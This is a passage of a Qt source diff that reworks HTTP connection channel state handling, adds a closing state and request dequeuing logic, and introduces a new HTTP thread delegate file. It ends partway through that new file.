diff --git a/src/imports/gestures/qdeclarativegesturearea.cpp b/src/imports/gestures/qdeclarativegesturearea.cpp
index ba3adc5..1b6e723 100644
--- a/src/imports/gestures/qdeclarativegesturearea.cpp
+++ b/src/imports/gestures/qdeclarativegesturearea.cpp
@@ -86,22 +86,22 @@ public:
 
     A GestureArea is like a MouseArea, but it has signals for gesture events.
 
-    \e {Elements in the Qt.labs module are not guaranteed to remain compatible
-    in future versions.}
+    \warning Elements in the Qt.labs module are not guaranteed to remain compatible
+    in future versions.
 
-    \e {This element is only functional on devices with touch input.}
+    \note This element is only functional on devices with touch input.
 
     \qml
     import Qt.labs.gestures 1.0
 
     GestureArea {
         anchors.fill: parent
-        onPan: ... gesture.acceleration ...
-        onPinch: ... gesture.rotationAngle ...
-        onSwipe: ...
-        onTapAndHold: ...
-        onTap: ...
-        onGesture: ...
+     // onPan:        ... gesture.acceleration ...
+     // onPinch:      ... gesture.rotationAngle ...
+     // onSwipe:      ...
+     // onTapAndHold: ...
+     // onTap:        ...
+     // onGesture:    ...
     }
     \endqml
 
diff --git a/src/multimedia/audio/qaudiooutput_symbian_p.cpp b/src/multimedia/audio/qaudiooutput_symbian_p.cpp
index ea7cd9f..5db7099 100644
--- a/src/multimedia/audio/qaudiooutput_symbian_p.cpp
+++ b/src/multimedia/audio/qaudiooutput_symbian_p.cpp
@@ -436,8 +436,8 @@ void QAudioOutputPrivate::writePaddingData()
         unsigned char *ptr = const_cast<unsigned char*>(outputBuffer.Ptr());
         Mem::FillZ(ptr, paddingBytes);
         outputBuffer.SetLength(outputBuffer.Length() + paddingBytes);
+        Q_ASSERT(m_bytesPadding >= paddingBytes);
         m_bytesPadding -= paddingBytes;
-        Q_ASSERT(m_bytesPadding >= 0);
 
         if (m_pullMode && m_source->atEnd())
             lastBufferFilled();
diff --git a/src/network/access/access.pri b/src/network/access/access.pri
index f8dfda6..57a79b3 100644
--- a/src/network/access/access.pri
+++ b/src/network/access/access.pri
@@ -8,6 +8,7 @@ HEADERS += \
     access/qhttpnetworkreply_p.h \
     access/qhttpnetworkconnection_p.h \
     access/qhttpnetworkconnectionchannel_p.h \
+    access/qnetworkaccessauthenticationmanager_p.h \
     access/qnetworkaccessmanager.h \
     access/qnetworkaccessmanager_p.h \
     access/qnetworkaccesscache_p.h \
@@ -32,7 +33,8 @@ HEADERS += \
     access/qabstractnetworkcache_p.h \
     access/qabstractnetworkcache.h \
     access/qnetworkdiskcache_p.h \
-    access/qnetworkdiskcache.h
+    access/qnetworkdiskcache.h \
+    access/qhttpthreaddelegate_p.h
 
 SOURCES += \
     access/qftp.cpp \
@@ -42,6 +44,7 @@ SOURCES += \
     access/qhttpnetworkreply.cpp \
     access/qhttpnetworkconnection.cpp \
     access/qhttpnetworkconnectionchannel.cpp \
+    access/qnetworkaccessauthenticationmanager.cpp \
     access/qnetworkaccessmanager.cpp \
     access/qnetworkaccesscache.cpp \
     access/qnetworkaccessbackend.cpp \
@@ -58,6 +61,7 @@ SOURCES += \
     access/qnetworkreplydataimpl.cpp \
     access/qnetworkreplyfileimpl.cpp \
     access/qabstractnetworkcache.cpp \
-    access/qnetworkdiskcache.cpp
+    access/qnetworkdiskcache.cpp \
+    access/qhttpthreaddelegate.cpp
 
 include($$PWD/../../3rdparty/zlib_dependency.pri)
diff --git a/src/network/access/qhttpnetworkconnection.cpp b/src/network/access/qhttpnetworkconnection.cpp
index e94b099..29ae5b0 100644
--- a/src/network/access/qhttpnetworkconnection.cpp
+++ b/src/network/access/qhttpnetworkconnection.cpp
@@ -286,7 +286,13 @@ void QHttpNetworkConnectionPrivate::emitReplyError(QAbstractSocket *socket,
         int i = indexOf(socket);
         // remove the corrupt data if any
         reply->d_func()->eraseData();
+
+        // Clean the channel
         channels[i].close();
+        channels[i].reply = 0;
+        channels[i].request = QHttpNetworkRequest();
+        channels[i].requeueCurrentlyPipelinedRequests();
+
         // send the next request
         QMetaObject::invokeMethod(q, "_q_startNextRequest", Qt::QueuedConnection);
     }
@@ -481,7 +487,7 @@ void QHttpNetworkConnectionPrivate::requeueRequest(const HttpMessagePair &pair)
     QMetaObject::invokeMethod(q, "_q_startNextRequest", Qt::QueuedConnection);
 }
 
-void QHttpNetworkConnectionPrivate::dequeueAndSendRequest(QAbstractSocket *socket)
+bool QHttpNetworkConnectionPrivate::dequeueRequest(QAbstractSocket *socket)
 {
     Q_ASSERT(socket);
 
@@ -494,8 +500,7 @@ void QHttpNetworkConnectionPrivate::dequeueAndSendRequest(QAbstractSocket *socke
             prepareRequest(messagePair);
         channels[i].request = messagePair.first;
         channels[i].reply = messagePair.second;
-        channels[i].sendRequest();
-        return;
+        return true;
     }
 
     if (!lowPriorityQueue.isEmpty()) {
@@ -505,9 +510,9 @@ void QHttpNetworkConnectionPrivate::dequeueAndSendRequest(QAbstractSocket *socke
             prepareRequest(messagePair);
         channels[i].request = messagePair.first;
         channels[i].reply = messagePair.second;
-        channels[i].sendRequest();
-        return;
+        return true;
     }
+    return false;
 }
 
 // this is called from _q_startNextRequest and when a request has been sent down a socket from the channel
@@ -759,7 +764,7 @@ void QHttpNetworkConnectionPrivate::_q_startNextRequest()
 
     //resend the necessary ones.
     for (int i = 0; i < channelCount; ++i) {
-        if (channels[i].resendCurrent) {
+        if (channels[i].resendCurrent && (channels[i].state != QHttpNetworkConnectionChannel::ClosingState)) {
             channels[i].resendCurrent = false;
             channels[i].state = QHttpNetworkConnectionChannel::IdleState;
 
@@ -778,17 +783,8 @@ void QHttpNetworkConnectionPrivate::_q_startNextRequest()
     // try to get a free AND connected socket
     for (int i = 0; i < channelCount; ++i) {
         if (!channels[i].reply && !channels[i].isSocketBusy() && channels[i].socket->state() == QAbstractSocket::ConnectedState) {
-            dequeueAndSendRequest(channels[i].socket);
-        }
-    }
-
-    // return fast if there is nothing to do
-    if (highPriorityQueue.isEmpty() && lowPriorityQueue.isEmpty())
-        return;
-    // try to get a free unconnected socket
-    for (int i = 0; i < channelCount; ++i) {
-        if (!channels[i].reply && !channels[i].isSocketBusy()) {
-            dequeueAndSendRequest(channels[i].socket);
+            if (dequeueRequest(channels[i].socket))
+                channels[i].sendRequest();
         }
     }
 
@@ -805,6 +801,21 @@ void QHttpNetworkConnectionPrivate::_q_startNextRequest()
     for (int i = 0; i < channelCount; i++)
         if (channels[i].socket->state() == QAbstractSocket::ConnectedState)
             fillPipeline(channels[i].socket);
+
+    // If there is not already any connected channels we need to connect a new one.
+    // We do not pair the channel with the request until we know if it is 
+    // connected or not. This is to reuse connected channels before we connect new once.
+    int queuedRequest = highPriorityQueue.count() + lowPriorityQueue.count();
+    for (int i = 0; i < channelCount; ++i) {
+        if (channels[i].socket->state() == QAbstractSocket::ConnectingState)
+            queuedRequest--;
+        if ( queuedRequest <=0 )
+            break;
+        if (!channels[i].reply && !channels[i].isSocketBusy() && (channels[i].socket->state() == QAbstractSocket::UnconnectedState)) {
+            channels[i].ensureConnection();
+            queuedRequest--;
+        }
+    }
 }
 
 
diff --git a/src/network/access/qhttpnetworkconnection_p.h b/src/network/access/qhttpnetworkconnection_p.h
index d4748c1..874ea22 100644
--- a/src/network/access/qhttpnetworkconnection_p.h
+++ b/src/network/access/qhttpnetworkconnection_p.h
@@ -161,7 +161,7 @@ public:
 
     QHttpNetworkReply *queueRequest(const QHttpNetworkRequest &request);
     void requeueRequest(const HttpMessagePair &pair); // e.g. after pipeline broke
-    void dequeueAndSendRequest(QAbstractSocket *socket);
+    bool dequeueRequest(QAbstractSocket *socket);
     void prepareRequest(HttpMessagePair &request);
 
     void fillPipeline(QAbstractSocket *socket);
diff --git a/src/network/access/qhttpnetworkconnectionchannel.cpp b/src/network/access/qhttpnetworkconnectionchannel.cpp
index 079f608..62c6fab 100644
--- a/src/network/access/qhttpnetworkconnectionchannel.cpp
+++ b/src/network/access/qhttpnetworkconnectionchannel.cpp
@@ -145,10 +145,12 @@ void QHttpNetworkConnectionChannel::init()
 
 void QHttpNetworkConnectionChannel::close()
 {
-    socket->blockSignals(true);
+    if (socket->state() == QAbstractSocket::UnconnectedState)
+        state = QHttpNetworkConnectionChannel::IdleState;
+    else
+        state = QHttpNetworkConnectionChannel::ClosingState;
+
     socket->close();
-    socket->blockSignals(false);
-    state = QHttpNetworkConnectionChannel::IdleState;
 }
 
 
@@ -253,7 +255,7 @@ bool QHttpNetworkConnectionChannel::sendRequest()
 #endif
         {
             // get pointer to upload data
-            qint64 currentReadSize;
+            qint64 currentReadSize = 0;
             qint64 desiredReadSize = qMin(socketWriteMaxSize, bytesTotal - written);
             const char *readPointer = uploadByteDevice->readPointer(desiredReadSize, currentReadSize);
 
@@ -476,7 +478,8 @@ void QHttpNetworkConnectionChannel::_q_receiveReply()
                     }
 #ifndef QT_NO_COMPRESS
                     else if (!expand(false)) { // expand a chunk if possible
-                        return; // ### expand failed
+                        // If expand() failed we can just return, it had already called connection->emitReplyError()
+                        return;
                     }
 #endif
                 }
@@ -499,6 +502,7 @@ void QHttpNetworkConnectionChannel::_q_receiveReply()
 // called when unexpectedly reading a -1 or when data is expected but socket is closed
 void QHttpNetworkConnectionChannel::handleUnexpectedEOF()
 {
+    Q_ASSERT(reply);
     if (reconnectAttempts <= 0) {
         // too many errors reading/receiving/parsing the status, close the socket and emit error
         requeueCurrentlyPipelinedRequests();
@@ -521,7 +525,8 @@ bool QHttpNetworkConnectionChannel::ensureConnection()
 
     // resend this request after we receive the disconnected signal
     if (socketState == QAbstractSocket::ClosingState) {
-        resendCurrent = true;
+        if (reply)
+            resendCurrent = true;
         return false;
     }
 
@@ -643,32 +648,44 @@ bool QHttpNetworkConnectionChannel::expand(bool dataComplete)
 
 void QHttpNetworkConnectionChannel::allDone()
 {
+    Q_ASSERT(reply);
 #ifndef QT_NO_COMPRESS
     // expand the whole data.
-    if (reply->d_func()->expectContent() && reply->d_func()->autoDecompress && !reply->d_func()->streamEnd)
-        expand(true); // ### if expand returns false, its an error
+    if (reply->d_func()->expectContent() && reply->d_func()->autoDecompress && !reply->d_func()->streamEnd) {
+        bool expandResult = expand(true);
+        // If expand() failed we can just return, it had already called connection->emitReplyError()
+        if (!expandResult)
+            return;
+    }
 #endif
+
+    if (!reply) {
+        qWarning() << "QHttpNetworkConnectionChannel::allDone() called without reply. Please report at http://bugreports.qt.nokia.com/";
+        return;
+    }
+
     // while handling 401 & 407, we might reset the status code, so save this.
     bool emitFinished = reply->d_func()->shouldEmitSignals();
-    handleStatus();
-    // ### at this point there should be no more data on the socket
-    // close if server requested
     bool connectionCloseEnabled = reply->d_func()->isConnectionCloseEnabled();
-    if (connectionCloseEnabled)
-        close();
+    detectPipeliningSupport();
+
+    handleStatus();
+    // handleStatus() might have removed the reply because it already called connection->emitReplyError()
+
     // queue the finished signal, this is required since we might send new requests from
     // slot connected to it. The socket will not fire readyRead signal, if we are already
     // in the slot connected to readyRead
-    if (emitFinished)
+    if (reply && emitFinished)
         QMetaObject::invokeMethod(reply, "finished", Qt::QueuedConnection);
+
+
     // reset the reconnection attempts after we receive a complete reply.
     // in case of failures, each channel will attempt two reconnects before emitting error.
     reconnectAttempts = 2;
 
-    detectPipeliningSupport();
-
     // now the channel can be seen as free/idle again, all signal emissions for the reply have been done
-    this->state = QHttpNetworkConnectionChannel::IdleState;
+    if (state != QHttpNetworkConnectionChannel::ClosingState)
+        state = QHttpNetworkConnectionChannel::IdleState;
 
     // if it does not need to be sent again we can set it to 0
     // the previous code did not do that and we had problems with accidental re-sending of a
@@ -717,6 +734,9 @@ void QHttpNetworkConnectionChannel::allDone()
         // leading whitespace.
         QMetaObject::invokeMethod(connection, "_q_startNextRequest", Qt::QueuedConnection);
     } else if (alreadyPipelinedRequests.isEmpty()) {
+        if (connectionCloseEnabled)
+            if (socket->state() != QAbstractSocket::UnconnectedState)
+                close();
         if (qobject_cast<QHttpNetworkConnection*>(connection))
             QMetaObject::invokeMethod(connection, "_q_startNextRequest", Qt::QueuedConnection);
     }
@@ -724,6 +744,7 @@ void QHttpNetworkConnectionChannel::allDone()
 
 void QHttpNetworkConnectionChannel::detectPipeliningSupport()
 {
+    Q_ASSERT(reply);
     // detect HTTP Pipelining support
     QByteArray serverHeaderField;
     if (
@@ -807,6 +828,7 @@ void QHttpNetworkConnectionChannel::handleStatus()
 
 bool QHttpNetworkConnectionChannel::resetUploadData()
 {
+    Q_ASSERT(reply);
     QNonContiguousByteDevice* uploadByteDevice = request.uploadByteDevice();
     if (!uploadByteDevice)
         return true;
@@ -864,7 +886,8 @@ void QHttpNetworkConnectionChannel::closeAndResendCurrentRequest()
 {
     requeueCurrentlyPipelinedRequests();
     close();
-    resendCurrent = true;
+    if (reply)
+        resendCurrent = true;
     if (qobject_cast<QHttpNetworkConnection*>(connection))
         QMetaObject::invokeMethod(connection, "_q_startNextRequest", Qt::QueuedConnection);
 }
@@ -892,15 +915,18 @@ bool QHttpNetworkConnectionChannel::isSocketReading() const
 //private slots
 void QHttpNetworkConnectionChannel::_q_readyRead()
 {
-    // We got a readyRead but no bytes are available..
-    // This happens for the Unbuffered QTcpSocket
-    // Also check if socket is in ConnectedState since
-    // this function may also be invoked via the event loop.
     if (socket->state() == QAbstractSocket::ConnectedState && socket->bytesAvailable() == 0) {
+        // We got a readyRead but no bytes are available..
+        // This happens for the Unbuffered QTcpSocket
+        // Also check if socket is in ConnectedState since
+        // this function may also be invoked via the event loop.
         char c;
         qint64  ret = socket->peek(&c, 1);
         if (ret < 0) {
-            socket->disconnectFromHost();
+            _q_error(socket->error());
+            // We still need to handle the reply so it emits its signals etc.
+            if (reply)
+                _q_receiveReply();
             return;
         }
     }
@@ -923,6 +949,12 @@ void QHttpNetworkConnectionChannel::_q_bytesWritten(qint64 bytes)
 
 void QHttpNetworkConnectionChannel::_q_disconnected()
 {
+    if (state == QHttpNetworkConnectionChannel::ClosingState) {
+        state = QHttpNetworkConnectionChannel::IdleState;
+        QMetaObject::invokeMethod(connection, "_q_startNextRequest", Qt::QueuedConnection);
+        return;
+    }
+
     // read the available data before closing
     if (isSocketWaiting() || isSocketReading()) {
         if (reply) {
@@ -960,10 +992,10 @@ void QHttpNetworkConnectionChannel::_q_connected()
     //channels[i].reconnectAttempts = 2;
     if (!pendingEncrypt) {
         state = QHttpNetworkConnectionChannel::IdleState;
+        if (!reply)
+            connection->d_func()->dequeueRequest(socket);
         if (reply)
             sendRequest();
-        else
-            close();
     }
 }
 
@@ -991,8 +1023,20 @@ void QHttpNetworkConnectionChannel::_q_error(QAbstractSocket::SocketError socket
             } else {
                 errorCode = QNetworkReply::RemoteHostClosedError;
             }
+        } else if (state == QHttpNetworkConnectionChannel::ReadingState) {
+            if (!reply->d_func()->expectContent()) {
+                // No content expected, this is a valid way to have the connection closed by the server
+                return;
+            }
+            if (reply->contentLength() == -1 && !reply->d_func()->isChunked()) {
+                // There was no content-length header and it's not chunked encoding,
+                // so this is a valid way to have the connection closed by the server
+                return;
+            }
+            // ok, we got a disconnect even though we did not expect it
+            errorCode = QNetworkReply::RemoteHostClosedError;
         } else {
-            return;
+            errorCode = QNetworkReply::RemoteHostClosedError;
         }
         break;
     case QAbstractSocket::SocketTimeoutError:
@@ -1017,9 +1061,13 @@ void QHttpNetworkConnectionChannel::_q_error(QAbstractSocket::SocketError socket
     QPointer<QHttpNetworkConnection> that = connection;
     QString errorString = connection->d_func()->errorDetail(errorCode, socket, socket->errorString());
 
+    // Need to dequeu the request so that we can emit the error.
+    if (!reply)
+        connection->d_func()->dequeueRequest(socket);
     if (reply) {
         reply->d_func()->errorString = errorString;
         emit reply->finishedWithError(errorCode, errorString);
+        reply = 0;
     }
     // send the next request
     QMetaObject::invokeMethod(that, "_q_startNextRequest", Qt::QueuedConnection);
@@ -1031,7 +1079,11 @@ void QHttpNetworkConnectionChannel::_q_error(QAbstractSocket::SocketError socket
 #ifndef QT_NO_NETWORKPROXY
 void QHttpNetworkConnectionChannel::_q_proxyAuthenticationRequired(const QNetworkProxy &proxy, QAuthenticator* auth)
 {
-    connection->d_func()->emitProxyAuthenticationRequired(this, proxy, auth);
+    // Need to dequeue the request before we can emit the error.
+    if (!reply)
+        connection->d_func()->dequeueRequest(socket);
+    if (reply)
+        connection->d_func()->emitProxyAuthenticationRequired(this, proxy, auth);
 }
 #endif
 
@@ -1047,7 +1099,10 @@ void QHttpNetworkConnectionChannel::_q_encrypted()
         return; // ### error
     state = QHttpNetworkConnectionChannel::IdleState;
     pendingEncrypt = false;
-    sendRequest();
+    if (!reply)
+        connection->d_func()->dequeueRequest(socket);
+    if (reply)
+        sendRequest();
 }
 
 void QHttpNetworkConnectionChannel::_q_sslErrors(const QList<QSslError> &errors)
@@ -1058,7 +1113,10 @@ void QHttpNetworkConnectionChannel::_q_sslErrors(const QList<QSslError> &errors)
     // Also pause the connection because socket notifiers may fire while an user
     // dialog is displaying
     connection->d_func()->pauseConnection();
-    emit reply->sslErrors(errors);
+    if (pendingEncrypt && !reply)
+        connection->d_func()->dequeueRequest(socket);
+    if (reply)
+        emit reply->sslErrors(errors);
     connection->d_func()->resumeConnection();
 }
 
diff --git a/src/network/access/qhttpnetworkconnectionchannel_p.h b/src/network/access/qhttpnetworkconnectionchannel_p.h
index 8cbc689..893d75e 100644
--- a/src/network/access/qhttpnetworkconnectionchannel_p.h
+++ b/src/network/access/qhttpnetworkconnectionchannel_p.h
@@ -95,7 +95,8 @@ public:
         WritingState = 2,       // writing the data
         WaitingState = 4,       // waiting for reply
         ReadingState = 8,       // reading the reply
-        BusyState = (ConnectingState|WritingState|WaitingState|ReadingState)
+        ClosingState = 16,
+        BusyState = (ConnectingState|WritingState|WaitingState|ReadingState|ClosingState)
     };
     QAbstractSocket *socket;
     bool ssl;
diff --git a/src/network/access/qhttpnetworkreply.cpp b/src/network/access/qhttpnetworkreply.cpp
index 7f6b71f..704cf3a 100644
--- a/src/network/access/qhttpnetworkreply.cpp
+++ b/src/network/access/qhttpnetworkreply.cpp
@@ -177,6 +177,12 @@ qint64 QHttpNetworkReply::bytesAvailableNextBlock() const
         return -1;
 }
 
+bool QHttpNetworkReply::readAnyAvailable() const
+{
+    Q_D(const QHttpNetworkReply);
+    return (d->responseData.bufferCount() > 0);
+}
+
 QByteArray QHttpNetworkReply::readAny()
 {
     Q_D(QHttpNetworkReply);
diff --git a/src/network/access/qhttpnetworkreply_p.h b/src/network/access/qhttpnetworkreply_p.h
index 1856d7a..cc0f671 100644
--- a/src/network/access/qhttpnetworkreply_p.h
+++ b/src/network/access/qhttpnetworkreply_p.h
@@ -125,6 +125,7 @@ public:
 
     qint64 bytesAvailable() const;
     qint64 bytesAvailableNextBlock() const;
+    bool readAnyAvailable() const;
     QByteArray readAny();
     QByteArray readAll();
     void setDownstreamLimited(bool t);
diff --git a/src/network/access/qhttpthreaddelegate.cpp b/src/network/access/qhttpthreaddelegate.cpp
new file mode 100644
index 0000000..b5cf00a
--- /dev/null
+++ b/src/network/access/qhttpthreaddelegate.cpp
@@ -0,0 +1,518 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtNetwork module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qhttpthreaddelegate_p.h"
+
+#include <QThread>
+#include <QTimer>
+#include <QAuthenticator>
+#include <QEventLoop>
+
+#include "private/qhttpnetworkreply_p.h"
+#include "private/qnetworkaccesscache_p.h"
+#include "private/qnoncontiguousbytedevice_p.h"
+
+
+QT_BEGIN_NAMESPACE
+
+static QNetworkReply::NetworkError statusCodeFromHttp(int httpStatusCode, const QUrl &url)
+{
+    QNetworkReply::NetworkError code;
+    // we've got an error
+    switch (httpStatusCode) {
+    case 401:               // Authorization required
+        code = QNetworkReply::AuthenticationRequiredError;
+        break;
+
+    case 403:               // Access denied
+        code = QNetworkReply::ContentOperationNotPermittedError;
+        break;
+
+    case 404:               // Not Found
+        code = QNetworkReply::ContentNotFoundError;
+        break;
+
+    case 405:               // Method Not Allowed
+        code = QNetworkReply::ContentOperationNotPermittedError;
+        break;
+
+    case 407:
+        code = QNetworkReply::ProxyAuthenticationRequiredError;
+        break;
+
+    default:
+        if (httpStatusCode > 500) {
+            // some kind of server error
+            code = QNetworkReply::ProtocolUnknownError;
+        } else if (httpStatusCode >= 400) {
+            // content error we did not handle above
+            code = QNetworkReply::UnknownContentError;
+        } else {
+            qWarning("QNetworkAccess: got HTTP status code %d which is not expected from url: \"%s\"",
+                     httpStatusCode, qPrintable(url.toString()));
+            code = QNetworkReply::ProtocolFailure;
+        }
+    }
+
+    return code;
+}
+
+
+static QByteArray makeCacheKey(QUrl &url, QNetworkProxy *proxy)
+{
+    QByteArray result;
+    QUrl copy = url;
+    bool isEncrypted = copy.scheme().toLower() == QLatin1String("https");
+    copy.setPort(copy.port(isEncrypted ? 443 : 80));
+    result = copy.toEncoded(QUrl::RemoveUserInfo | QUrl::RemovePath |
+                            QUrl::RemoveQuery | QUrl::RemoveFragment);
+
+#ifndef QT_NO_NETWORKPROXY
+    if (proxy && proxy->type() != QNetworkProxy::NoProxy) {
+        QUrl key;
+
+        switch (proxy->type()) {
+        case QNetworkProxy::Socks5Proxy:
+            key.setScheme(QLatin1String("proxy-socks5"));
+            break;
+
+        case QNetworkProxy::HttpProxy:
+        case QNetworkProxy::HttpCachingProxy:
+            key.setScheme(QLatin1String("proxy-http"));
+            break;
+
+        default:
+            break;
+        }
+
+        if (!key.scheme().isEmpty()) {
+            key.setUserName(proxy->user());
+            key.setHost(proxy->hostName());
+            key.setPort(proxy->port());
+            key.setEncodedQuery(result);
+            result = key.toEncoded();
+        }
+    }
+#endif
+
+    return "http-connection:" + result;
+}
+
+class QNetworkAccessCachedHttpConnection: public QHttpNetworkConnection,
+                                      public QNetworkAccessCache::CacheableObject
+{
+    // Q_OBJECT
+public:
+    QNetworkAccessCachedHttpConnection(const QString &hostName, quint16 port, bool encrypt)
+        : QHttpNetworkConnection(hostName, port, encrypt)
+    {
+        setExpires(true);
+        setShareable(true);
+    }
+
+    virtual void dispose()
+    {
+#if 0  // sample code; do this right with the API
+        Q_ASSERT(!isWorking());
+#endif
+        delete this;
+    }
+};
+
+
+QThreadStorage<QNetworkAccessCache *> QHttpThreadDelegate::connections;
+
+
+QHttpThreadDelegate::~QHttpThreadDelegate()
+{
+    // It could be that the main thread has asked us to shut down, so we need to delete the HTTP reply
+    if (httpReply) {
+        delete httpReply;
+    }
+
+    // Get the object cache that stores our QHttpNetworkConnection objects
+    // and release the entry for this QHttpNetworkConnection
+    if (connections.hasLocalData() && !cacheKey.isEmpty()) {
+        connections.localData()->releaseEntry(cacheKey);
+    }
+}
+
+
+QHttpThreadDelegate::QHttpThreadDelegate(QObject *parent) :
+    QObject(parent)
+    , ssl(false)
+    , downloadBufferMaximumSize(0)
+    , pendingDownloadData(0)
+    , pendingDownloadProgress(0)
+    , synchronous(false)
+    , incomingStatusCode(0)
+    , isPipeliningUsed(false)
+    , incomingContentLength(-1)
+    , incomingErrorCode(QNetworkReply::NoError)
+    , downloadBuffer(0)
+    , httpConnection(0)
+    , httpReply(0)
+{
+}
+
+// This is invoked as BlockingQueuedConnection from QNetworkAccessHttpBackend in the user thread
+void QHttpThreadDelegate::startRequestSynchronously()
+{
+    synchronous = true;
+
+    QEventLoop synchronousRequestLoop;
+    this->synchronousRequestLoop = &synchronousRequestLoop;
+
+    // Worst case timeout
+    QTimer::singleShot(30*1000, this, SLOT(abortRequest()));
+
+    QMetaObject::invokeMethod(this, "startRequest", Qt::QueuedConnection);
+    synchronousRequestLoop.exec();
+
+    connections.localData()->releaseEntry(cacheKey);
+    connections.setLocalData(0);
+
+}
+
+
+// This is invoked as QueuedConnection from QNetworkAccessHttpBackend in the user thread
+void QHttpThreadDelegate::startRequest()
+{
+    // Check QThreadStorage for the QNetworkAccessCache
+    // If not there, create this connection cache
+    if (!connections.hasLocalData()) {
+        connections.setLocalData(new QNetworkAccessCache());
+    }
+
+    // check if we have an open connection to this host
+    QUrl urlCopy = httpRequest.url();
+    urlCopy.setPort(urlCopy.port(ssl ? 443 : 80));
+
+    if (transparentProxy.type() != QNetworkProxy::NoProxy)
+        cacheKey = makeCacheKey(urlCopy, &transparentProxy);
+    else if (cacheProxy.type() != QNetworkProxy::NoProxy)
+        cacheKey = makeCacheKey(urlCopy, &cacheProxy);
+    else
+        cacheKey = makeCacheKey(urlCopy, 0);
+
+
+    // the http object is actually a QHttpNetworkConnection
+    httpConnection = static_cast<QNetworkAccessCachedHttpConnection *>(connections.localData()->requestEntryNow(cacheKey));
+    if (httpConnection == 0) {
+        // no entry in cache; create an object
+        // the http object is actually a QHttpNetworkConnection
+        httpConnection = new QNetworkAccessCachedHttpConnection(urlCopy.host(), urlCopy.port(), ssl);
+#ifndef QT_NO_OPENSSL
+        // Set the QSslConfiguration from this QNetworkRequest.
+        if (ssl) {
+            httpConnection->setSslConfiguration(incomingSslConfiguration);
+        }
+#endif
+
+#ifndef QT_NO_NETWORKPROXY
+        httpConnection->setTransparentProxy(transparentProxy);
+        httpConnection->setCacheProxy(cacheProxy);
+#endif
+
+        // cache the QHttpNetworkConnection corresponding to this cache key
+        connections.localData()->addEntry(cacheKey, httpConnection);
+    }
+
+
+    // Send the request to the connection
+    httpReply = httpConnection->sendRequest(httpRequest);
+    httpReply->setParent(this);
+
+    // Connect the reply signals that we need to handle and then forward
+    if (synchronous) {
+        connect(httpReply,SIGNAL(headerChanged()), this, SLOT(synchronousHeaderChangedSlot()));
+        connect(httpReply,SIGNAL(finished()), this, SLOT(synchronousFinishedSlot()));
+        connect(httpReply,SIGNAL(finishedWithError(QNetworkReply::NetworkError, const QString)),
+                this, SLOT(synchronousFinishedWithErrorSlot(QNetworkReply::NetworkError,QString)));
+
+        connect(httpReply, SIGNAL(authenticationRequired(QHttpNetworkRequest,QAuthenticator*)),
+                this, SLOT(synchronousAuthenticationRequiredSlot(QHttpNetworkRequest,QAuthenticator*)));
+        connect(httpReply, SIGNAL(proxyAuthenticationRequired(QNetworkProxy,QAuthenticator*)),
+                this, SLOT(synchronousProxyAuthenticationRequiredSlot(QNetworkProxy,QAuthenticator*)));
+
+        // Don't care about ignored SSL errors for now in the synchronous HTTP case.
+    } else if (!synchronous) {
+        connect(httpReply,SIGNAL(headerChanged()), this, SLOT(headerChangedSlot()));
+        connect(httpReply,SIGNAL(finished()), this, SLOT(finishedSlot()));
+        connect(httpReply,SIGNAL(finishedWithError(QNetworkReply::NetworkError, const QString)),
+                this, SLOT(finishedWithErrorSlot(QNetworkReply::NetworkError,QString)));
+        // some signals are only interesting when normal asynchronous style is used
+        connect(httpReply,SIGNAL(readyRead()), this, SLOT(readyReadSlot()));
+        connect(httpReply,SIGNAL(dataReadProgress(int, int)), this, SLOT(dataReadProgressSlot(int,int)));
+        connect(httpReply, SIGNAL(cacheCredentials(QHttpNetworkRequest,QAuthenticator*)),
+                this, SLOT(cacheCredentialsSlot(QHttpNetworkRequest,QAuthenticator*)));
+#ifndef QT_NO_OPENSSL
+        connect(httpReply,SIGNAL(sslErrors(const QList<QSslError>)), this, SLOT(sslErrorsSlot(QList<QSslError>)));
+#endif
+
+        // In the asynchronous HTTP case we can just forward those signals
+        // Connect the reply signals that we can directly forward
+        connect(httpReply, SIGNAL(authenticationRequired(QHttpNetworkRequest,QAuthenticator*)),
+                this, SIGNAL(authenticationRequired(QHttpNetworkRequest,QAuthenticator*)));
+        connect(httpReply, SIGNAL(proxyAuthenticationRequired(QNetworkProxy,QAuthenticator*)),
+                this, SIGNAL(proxyAuthenticationRequired(QNetworkProxy,QAuthenticator*)));
+    }
+}
+
+// This gets called from the user thread or by the synchronous HTTP timeout timer
+void QHttpThreadDelegate::abortRequest()
+{
+    if (httpReply) {
+        delete httpReply;
+        httpReply = 0;
+        this->deleteLater();
+    }
+
+    // Got aborted by the timeout timer
+    if (synchronous)
+        incomingErrorCode = QNetworkReply::TimeoutError;
+}
+
+void QHttpThreadDelegate::readyReadSlot()
+{
+    // Don't do in zerocopy case
+    if (!downloadBuffer.isNull())
+        return;
+
+    while (httpReply->readAnyAvailable()) {
+        pendingDownloadData->fetchAndAddRelease(1);
+        emit downloadData(httpReply->readAny());
+    }
+}
+
+void QHttpThreadDelegate::finishedSlot()
+{
+    if (!httpReply) {
+        qWarning() << "QHttpThreadDelegate::finishedSlot: HTTP reply had already been deleted, internal problem. Please report.";
+        return;
+    }
+
+    // If there is still some data left emit that now
+    while (httpReply->readAnyAvailable()) {
+        pendingDownloadData->fetchAndAddRelease(1);
+        emit downloadData(httpReply->readAny());
+    }
+
+#ifndef QT_NO_OPENSSL
+    if (ssl)
+        emit sslConfigurationChanged(httpReply->sslConfiguration());
+#endif
+
+    if (httpReply->statusCode() >= 400) {
+            // it's an error reply
